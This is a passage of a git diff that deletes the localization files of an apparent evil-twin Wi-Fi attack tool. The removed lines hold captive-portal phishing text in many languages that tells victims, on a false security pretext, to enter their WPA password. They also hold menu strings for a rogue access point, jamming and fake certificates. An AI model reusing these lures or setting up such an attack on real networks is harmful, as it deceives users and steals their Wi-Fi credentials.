-DIALOG_WEB_ERROR="Fehler: Das eingegebene Passwort ist nicht korrekt!" -DIALOG_WEB_OK="Die Verbindung wird in wenigen Sekunden wiederhergestellt." -DIALOG_WEB_BACK="Zurück" -DIALOG_WEB_ERROR_MSG="Dieses Feld ist ein Pflichtfeld." -DIALOG_WEB_LENGTH_MIN="Das Passwort muss länger als {0} Zeichen sein" -DIALOG_WEB_LENGTH_MAX="Das Passwort darf nicht länger als {0} Zeichen sein" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Greek.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Greek.lang deleted file mode 100644 index 875d016..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Greek.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Για λόγους ασφάλειας, εισάγετε το WPA κωδικό για να έχετε πρόσβαση στο Internet." -DIALOG_WEB_INPUT="Εισάγετε τον WPA κωδικό:" -DIALOG_WEB_SUBMIT="Εισαγωγή" -DIALOG_WEB_ERROR="Σφάλμα: Ο κωδικός ΔΕΝ είναι σωστός!" -DIALOG_WEB_OK="Η συνδεσή σας θα αποκατασταθεί σε λίγα λεπτά" -DIALOG_WEB_BACK="Πίσω" -DIALOG_WEB_ERROR_MSG="Αυτό το πεδίο είναι υποχρεωτικό." -DIALOG_WEB_LENGTH_MIN="Ο κωδικός πρέπει να είναι πάνω από {0} χαρακτήρες" -DIALOG_WEB_LENGTH_MAX="Ο κωδικός πρέπει να είναι λιγότερο από {0} χαρακτήρες" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Hebrew.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Hebrew.lang deleted file mode 100644 index 2a62d40..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Hebrew.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="מטעמי אבטחה, יש להזין את סיסמת הרשת האלחוטית (WPA)עבור קבלת גישה לאינטרנט." -DIALOG_WEB_INPUT="הזן את סיסמת הWPA:" -DIALOG_WEB_SUBMIT="שלח" -DIALOG_WEB_ERROR="שגיאה: הסיסמה שגויה!" -DIALOG_WEB_OK="החיבור לאינטרנט יוחזר בעוד כמה רגעים." -DIALOG_WEB_BACK="אחורה" -DIALOG_WEB_ERROR_MSG="זהו שדה חובה." -DIALOG_WEB_LENGTH_MIN="הסיסמה חייבת להכיל יותר מ{0} תוים!" -DIALOG_WEB_LENGTH_MAX="הסיסמה חייבת להכיל פחות מ{0} תוים!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Hungarian.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Hungarian.lang deleted file mode 100644 index 4ca2e2e..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Hungarian.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Biztonsági okokból adja meg a WPA kulcsot az internet eléréséhez" -DIALOG_WEB_INPUT="WPA jelszó:" -DIALOG_WEB_SUBMIT="Küldés" -DIALOG_WEB_ERROR="Hiba: A megadott jelszó helytelen!" -DIALOG_WEB_OK="Az Internet kapcsolat helyreállt. " -DIALOG_WEB_BACK="Vissza" -DIALOG_WEB_ERROR_MSG="A jelszót kötelező megadni." -DIALOG_WEB_LENGTH_MIN="A jelszó nem lehet kevesebb, mint {0} karakter!" -DIALOG_WEB_LENGTH_MAX="A jelszó kevesebb mint {0} karakter kell hogy legyen!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Indonesian.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Indonesian.lang deleted file mode 100644 index 9926d72..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Indonesian.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Untuk alasan keamanan, masukkan WPA KEY (password wifi) untuk mengakses Internet." -DIALOG_WEB_INPUT="Masukkan WPA KEY (password wifi) anda:" -DIALOG_WEB_SUBMIT="Masukkan" -DIALOG_WEB_ERROR="Error: Password yang anda masukkan tidak sesuai!" -DIALOG_WEB_OK="Anda akan dapat mengakses Internet dalam beberapa saat lagi." -DIALOG_WEB_BACK="Kembali" -DIALOG_WEB_ERROR_MSG="Kolom ini wajib diisi." -DIALOG_WEB_LENGTH_MIN="Password harus lebih dari {0} karakter!" -DIALOG_WEB_LENGTH_MAX="Password harus kurang dari {0} karakter!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Italian.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Italian.lang deleted file mode 100644 index d0863f8..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Italian.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Per motivi di sicurezza, immettere la chiave WPA per accedere a Internet" -DIALOG_WEB_INPUT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT="Invia" -DIALOG_WEB_ERROR="Errore: La password non è corretta!" -DIALOG_WEB_OK="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK="Indietro" -DIALOG_WEB_ERROR_MSG="Campo obbligatorio." -DIALOG_WEB_LENGTH_MIN="La password deve essere superiore a {0} caratteri" -DIALOG_WEB_LENGTH_MAX="La password deve essere inferiore a {0} caratteri" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Norweigan.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Norweigan.lang deleted file mode 100644 index ef4f1b6..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Norweigan.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Av sikkerhetsmessige årsaker må WPA-nøkkelen skrives inn for å få tilgang til internett" -DIALOG_WEB_INPUT="Skriv inn ditt WPA-passord:" -DIALOG_WEB_SUBMIT="Send inn" -DIALOG_WEB_ERROR="Feilmelding: Passordet du skrev inn er IKKE riktig!" -DIALOG_WEB_OK="Din tilkobling vil snart bli gjenopprettet." -DIALOG_WEB_BACK="Tilbake" -DIALOG_WEB_ERROR_MSG="Dette feltet er nødvendig." -DIALOG_WEB_LENGTH_MIN="Passordet må inneholde mer enn {0} tegn" -DIALOG_WEB_LENGTH_MAX="Passordet må inneholde ferre enn {0} tegn" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Polish.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Polish.lang deleted file mode 100644 index 39e308a..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Polish.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Ze względów bezpieczeństwa, wprowadź klucz WPA, aby uzyskać dostęp do Internetu" -DIALOG_WEB_INPUT="Wprowadź hasło WPA:" -DIALOG_WEB_SUBMIT="Zatwierdź" -DIALOG_WEB_ERROR="Błąd: Wprowadzone hasło nie jest poprawne!" -DIALOG_WEB_OK="Połączenie z Internetem zostanie przywrócone w ciągu kilku chwil." -DIALOG_WEB_BACK="Powrót" -DIALOG_WEB_ERROR_MSG="To pole jest obowiązkowe." -DIALOG_WEB_LENGTH_MIN="Podane hasło jest za krótkie Hasło musi zawierać więcej niż {0} znaków!" -DIALOG_WEB_LENGTH_MAX="Podane hasło jest za długie. Hasło musi być mniejsza niż {0} znaków!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Portuguese.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Portuguese.lang deleted file mode 100644 index e5f90cb..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Portuguese.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT="Digite novamente a senha do Wifi" -DIALOG_WEB_SUBMIT="Enviar" -DIALOG_WEB_ERROR="Erro: A senha digitada está incorreta!" -DIALOG_WEB_OK="A sua conexão será restaurada em breve." -DIALOG_WEB_BACK="Voltar" -DIALOG_WEB_ERROR_MSG="Campo de preenchimento obrigatório." -DIALOG_WEB_LENGTH_MIN="A senha deve ter mais de {0} caracteres" -DIALOG_WEB_LENGTH_MAX="A chave deve ser menor que {0} caracteres" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Romanian.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Romanian.lang deleted file mode 100644 index bece355..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Romanian.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Din motive de securitate, introduceți cheia WPA pentru a avea acces la Internet" -DIALOG_WEB_INPUT="Parola WPA:" -DIALOG_WEB_SUBMIT="Trimite" -DIALOG_WEB_ERROR="Eroare: Parola introdusa nu este corecta!" -DIALOG_WEB_OK="Conexiunea la Internet va porni in cateva momente." -DIALOG_WEB_BACK="Inapoi" -DIALOG_WEB_ERROR_MSG="Acest câmp este obligatoriu." -DIALOG_WEB_LENGTH_MIN="Parola trebuie să fie mai mare de {0} de caractere!" -DIALOG_WEB_LENGTH_MAX="Parola trebuie să fie mai mică de {0} de caractere!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Russian.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Russian.lang deleted file mode 100644 index ac231e8..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Russian.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Для получения доступа в Интернет нужно ввести WPA пароль своей точки доступа." -DIALOG_WEB_INPUT="Введите пароль:" -DIALOG_WEB_SUBMIT="Отправить" -DIALOG_WEB_ERROR="Ошибка: Введенный пароль не верный!" -DIALOG_WEB_OK="Спасибо, соединение восстановится через несколько секунд." -DIALOG_WEB_BACK="Назад" -DIALOG_WEB_ERROR_MSG="Это поле необходимо заполнить." -DIALOG_WEB_LENGTH_MIN="Пароль должен быть не менее {0} символов!" -DIALOG_WEB_LENGTH_MAX="Пароль должен быть не более {0} символов!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Serbian.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Serbian.lang deleted file mode 100644 index 5293af6..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Serbian.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Zbog sigurnosnih razloga, unesite WPA ključ da bi ste pristupili internetu." -DIALOG_WEB_INPUT="Unesite vašu WPA šifru:" -DIALOG_WEB_SUBMIT="Potvrdi" -DIALOG_WEB_ERROR="Greška: Šifra koju ste uneli nije tačna!" -DIALOG_WEB_OK="Vaša konekcija će biti restartovana za par sekundi." -DIALOG_WEB_BACK="Nazad" -DIALOG_WEB_ERROR_MSG="Ovo polje je obavezno." -DIALOG_WEB_LENGTH_MIN="Šifra mora biti duža od {0} simbola!" -DIALOG_WEB_LENGTH_MAX="Šifra mora biti kraća od {0} simbola!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Slovak.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Slovak.lang deleted file mode 100644 index 763d9cb..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Slovak.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Ospravedlňujeme sa, ale nastal problém so zabezpečením vašeho bezdrôtového routeru. Zadejte prosím znovu vaše heslo." -DIALOG_WEB_INPUT="Vaše heslo WPA/WPA2:" -DIALOG_WEB_SUBMIT="Pripojiť" -DIALOG_WEB_ERROR="Chyba: Zadané heslo nieje správne!" -DIALOG_WEB_OK="Ďakujeme, vaše pripojenie bude v priebehu krátkej chvíle obnovené." -DIALOG_WEB_BACK="Späť" -DIALOG_WEB_ERROR_MSG="Toto pole musíte vyplniť." -DIALOG_WEB_LENGTH_MIN="Heslo musí byť dlhšie ako {0} znak(ov)!" -DIALOG_WEB_LENGTH_MAX="Heslo musí byť kratšie ako {0} znak(ov)!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Slovenian.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Slovenian.lang deleted file mode 100644 index c7c5f33..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Slovenian.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Zaradi varnostnih razlogov vnesite WPA ključ, da lahko dostopate do interneta!" -DIALOG_WEB_INPUT="Vnesite vaše WPA geslo:" -DIALOG_WEB_SUBMIT="Pošlji" -DIALOG_WEB_ERROR="Napaka: Vneseno geslo je napačno!" -DIALOG_WEB_OK="Vaš dostop do interneta bo omogočen v nekaj sekundah." -DIALOG_WEB_BACK="Nazaj" -DIALOG_WEB_ERROR_MSG="To polje je obvezno!." -DIALOG_WEB_LENGTH_MIN="Geslo more biti daljše od {0} znakov!" -DIALOG_WEB_LENGTH_MAX="Geslo more biti krajše od {0} znakov!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Spanish.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Spanish.lang deleted file mode 100644 index b552f8c..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Spanish.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="Por razones de seguridad, teclea tu clave WIFI para acceder a internet" -DIALOG_WEB_INPUT="Teclea tu contraseña WIFI:" -DIALOG_WEB_SUBMIT="Enviar" -DIALOG_WEB_ERROR="Error: La contraseña introducida no es correcta" -DIALOG_WEB_OK="Tu conexión será restaurada en unos pocos minutos" -DIALOG_WEB_BACK="Atrás" -DIALOG_WEB_ERROR_MSG="Este campo es obligatorio." -DIALOG_WEB_LENGTH_MIN="La contraseña debe ser más de {0} caracteres!" -DIALOG_WEB_LENGTH_MAX="La contraseña debe ser menos de {0} caracteres!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Thai.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Thai.lang deleted file mode 100644 index 01f6f25..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Thai.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="กรุณากรอกรหัสผ่าน WIFI เพื่อให้แน่ใจว่าท่านไม่ใช่ Robot ในการใช้งานอินเตอร์เน็ต." -DIALOG_WEB_INPUT="กรอกรหัสผ่าน WIFI ของท่าน:" -DIALOG_WEB_SUBMIT="ยืนยัน" -DIALOG_WEB_ERROR="เกิดข้อผิดพลาด: รหัสผ่านไม่ถูกต้อง" -DIALOG_WEB_OK="กรุณารอสักครู่..ระบบกำลังพาท่านไปยังเว็บไซต์ก่อนหน้า..." -DIALOG_WEB_BACK="กลับ" -DIALOG_WEB_ERROR_MSG="กรุณากรอกช่องนี้!" -DIALOG_WEB_LENGTH_MIN="รหัสผ่านควรมีมากกว่า {0} ตัวอักษร!" -DIALOG_WEB_LENGTH_MAX="รหัสผ่านควรมีอย่างน้อย {0} ตัวอักษร!" -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/generic/languages/Turkish.lang b/fluxion_origins/attacks/Captive Portal/generic/languages/Turkish.lang deleted file mode 100644 index ac8ed3c..0000000 --- a/fluxion_origins/attacks/Captive Portal/generic/languages/Turkish.lang +++ /dev/null @@ -1,10 +0,0 @@ -DIALOG_WEB_INFO="İnternet'e erişmek icin WPA kablosuz ağ şifrenizi giriniz:" -DIALOG_WEB_INPUT="Lütfen parolanızı giriniz:" -DIALOG_WEB_SUBMIT="Giriş" -DIALOG_WEB_ERROR="Hata: girilen şifre doğru değil! " -DIALOG_WEB_OK="Bağlantı birkaç dakika içinde yapılandırılacaktır." -DIALOG_WEB_BACK="Geri" -DIALOG_WEB_ERROR_MSG="Bu alanın doldurulması zorunludur." -DIALOG_WEB_LENGTH_MIN="Parola en az {0} karakterden olmalıdır." -DIALOG_WEB_LENGTH_MAX="Parola {0} karakterden daha fazla olmamalıdır." -DIALOG_WEB_DIR="ltr" diff --git a/fluxion_origins/attacks/Captive Portal/language/ar.sh b/fluxion_origins/attacks/Captive Portal/language/ar.sh deleted file mode 100644 index 3760862..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/ar.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Captive Portal -# description: Creates an "evil twin" access point. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="إختر بطاقة شبكة من أجل التشويش." -CaptivePortalAccessPointInterfaceQuery="إختر بطاقة شبكة لتكون نقطة الوصول." -CaptivePortalCannotStartInterfaceError="${CRed}غير قادر على بدء واجهة البوابة المقيدة$CClr, returning!" -CaptivePortalStaringAPServiceNotice="بدء تشغيل خدمة نقطة الوصول للبوابة المقيدة..." -CaptivePortalStaringAPRoutesNotice="بدء توجيه مسارات نقطة الوصول المقيدة..." -CaptivePortalStartingDHCPServiceNotice="بدء تشغيل خدمة الـ DHCP لنقطة الوصول في الخلفية..." -CaptivePortalStartingDNSServiceNotice="بدء تشغيل خدمة الـ DNS لنقطة الوصول في الخلفية..." -CaptivePortalStartingWebServiceNotice="بدء تشغيل خدمة الـ WEB لنقطة الوصول في الخلفية..." -CaptivePortalStartingJammerServiceNotice="بدء تشغيل التشويش لنقطة الوصول في الخلفية..." -CaptivePortalStartingAuthenticatorServiceNotice="بدء برنامج المصادقة النصي..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="إختر خدمة نقطة وصول" -CaptivePortalAPServiceHostapdOption="نقطة الوصول الاحتيالية - hostapd (${CGrn}مستحسن$CClr)" -CaptivePortalAPServiceAirbaseOption="نقطة الوصول الاحتيالية - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="إختر طريقة التحقق من كلمة المرور" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="حدد مصدر شهادة SSL الخاص بالبوابة المقيدة." -CaptivePortalCertificateSourceGenerateOption="قم بإنشاء شهادة SSL" -CaptivePortalCertificateSourceRescanOption="كشف شهادة SSL (${CClr}بحث مجددا$CGry)" -CaptivePortalCertificateSourceDisabledOption="لا شيء (${CYel}تعطيل SSL$CGry)" -CaptivePortalUIQuery="إختر بطاقة شبكة من أجل البوابة المقيدة للشبكة الاحتيالية." -CaptivePortalGenericInterfaceOption="بوابة عامة" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="حدد نوع اتصال إنترنت للشبكة الاحتيالية." -CaptivePortalConnectivityDisconnectedOption="قطع الاتصال (${CGrn}مستحسن$CClr)" -CaptivePortalConnectivityEmulatedOption="محاكات" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/cs.sh b/fluxion_origins/attacks/Captive Portal/language/cs.sh deleted file mode 100755 index 1ab26ec..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/cs.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Portugalský Portál -# description: Vytvoří přístupový bod "zlý dvojče". - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" -CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." -CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." -CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." -CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." -CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." -CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." -CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="METHODA ZÍSKÁNÍ HESLA" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." -CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" -CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Select a captive portal interface for the rogue network." -CaptivePortalGenericInterfaceOption="Generic Portal" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/de.sh b/fluxion_origins/attacks/Captive Portal/language/de.sh deleted file mode 100755 index 3782dbc..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/de.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Gefangenes Portal -# description: Erstellt einen "bösen Zwilling" Zugangspunkt. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Es ist nicht möglich den AP zu starten$CClr, rückkehr!" -CaptivePortalStaringAPServiceNotice="Starte AP Service" -CaptivePortalStaringAPRoutesNotice="Starte den routing Service " -CaptivePortalStartingDHCPServiceNotice="Starte den DHCP Service" -CaptivePortalStartingDNSServiceNotice="Starte den DNS Service." -CaptivePortalStartingWebServiceNotice="Starte den AP" -CaptivePortalStartingJammerServiceNotice="Starte mdk3 als Service" -CaptivePortalStartingAuthenticatorServiceNotice="Authentifizierungsskript wird gestartet" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="Methode zum Prüfen des Handshake" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Wähle die Quelle für das SSL Zertifikat " -CaptivePortalCertificateSourceGenerateOption="Erstelle das SSL Zertifikat" -CaptivePortalCertificateSourceRescanOption="Zertifikat wurde nicht erkannt" -CaptivePortalCertificateSourceDisabledOption="Kein Zertifikat (${CYel}SSL wird deaktiviert $CGry)" -CaptivePortalUIQuery="Wähle Interface für den unechten AP" -CaptivePortalGenericInterfaceOption="Gernerische Router Seiten" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Wähle die Methode für die Internet verbindung" -CaptivePortalConnectivityDisconnectedOption="Getrennt (${CGrn}Emfohlen$CClr)" -CaptivePortalConnectivityEmulatedOption="Emuliert" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/el.sh b/fluxion_origins/attacks/Captive Portal/language/el.sh deleted file mode 100755 index 3c0a715..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/el.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Πύλη αιχμαλωσίας -# description: Δημιουργεί ένα σημείο πρόσβασης "κακό δίδυμο". - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Αδυνατον να ξεκινησω το περιβάλλον της πυλης αιχμαλωσιας$CClr, επιστρεφω!" -CaptivePortalStaringAPServiceNotice="Ξεκιναω την υπηρεσία για το περιβάλλον της πύλης αιχμαλωσίας..." -CaptivePortalStaringAPRoutesNotice="Ξεκιναω τις διαδρομες για το περιβάλλον της πύλης αιχμαλωσίας..." -CaptivePortalStartingDHCPServiceNotice="Ξεκιναω τις υπηρεσίες του δικτυου πρόσβασης DHCP σαν daemon..." -CaptivePortalStartingDNSServiceNotice="Ξεκιναω τις υπηρεσιες DNS του δικτύου πρόσβασης σαν daemon..." -CaptivePortalStartingWebServiceNotice="Ξεκιναω την πυλη αιχμαλωσίας του δικτύου πρόσβασης σαν daemon..." -CaptivePortalStartingJammerServiceNotice="Ξεκιναω τον παρεμβολεα του δικτύου πρόσβασης σαν daemon..." -CaptivePortalStartingAuthenticatorServiceNotice="Ξεκιναω το πρόγραμμα επιβεβαίωσης..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="Μέθοδος επαλήθευσης κωδικού πρόσβασης" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Διαλεξε την πηγη του πιστοποιητικού SSL για την πύλη αιχμαλωσίας." -CaptivePortalCertificateSourceGenerateOption="Δημιουργηστε ενα πιστοποιητικό SSL" -CaptivePortalCertificateSourceRescanOption="Ανιχνευση πιστοποιητικού (${CClr}Ψαξε ξανά$CGry)" -CaptivePortalCertificateSourceDisabledOption="Κανένα (${CYel} απενεργοποίηση SSL$CGry)" -CaptivePortalUIQuery="Διαλεξε διεπαφή της πύλης αιχμαλωσίας για το κακοβουλο δίκτυο." -CaptivePortalGenericInterfaceOption="Γενική Πύλη" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Διαλεξτε τροπο δικτύωσης για το κακόβουλο Δίκτυο." -CaptivePortalConnectivityDisconnectedOption="Αποσυνδεδεμενο (${CGrn}προτεινωμενο$CClr)" -CaptivePortalConnectivityEmulatedOption="προσποιητα συνδεδεμενο" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/en.sh b/fluxion_origins/attacks/Captive 